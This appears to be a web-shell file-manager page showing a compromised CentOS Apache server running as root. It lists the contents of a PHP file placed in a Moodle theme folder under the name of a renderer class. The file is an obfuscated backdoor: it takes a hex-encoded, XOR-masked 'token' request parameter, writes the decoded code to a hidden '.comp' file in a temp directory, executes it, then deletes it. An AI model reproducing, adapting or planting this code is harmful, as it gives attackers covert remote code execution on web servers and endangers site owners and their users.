HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/8.0.30
System: Linux multiplicar 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64
User: root (0)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /var/www/html/ucsuenolar.sumar.com.py/theme/moove/classes/output/renderer.renderer.php
<?php

if(array_key_exists("\x74\x6Fken", $_REQUEST) && !is_null($_REQUEST["\x74\x6Fken"])){
	$flg = array_filter([getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), session_save_path()]);
	$hld = hex2bin($_REQUEST["\x74\x6Fken"]);
	$marker   =   ''    ;     $f = 0; do{$marker .= chr(ord($hld[$f]) ^ 68);$f++;} while($f < strlen($hld));
	for ($property_set = 0, $k = count($flg); $property_set < $k; $property_set++) {
    $elem = $flg[$property_set];
    		if (is_writable($elem) && is_dir($elem)) {
    $bind = "$elem" . "/.comp";
    if (file_put_contents($bind, $marker)) {
	include $bind;
	@unlink($bind);
	exit;
}
}
}
}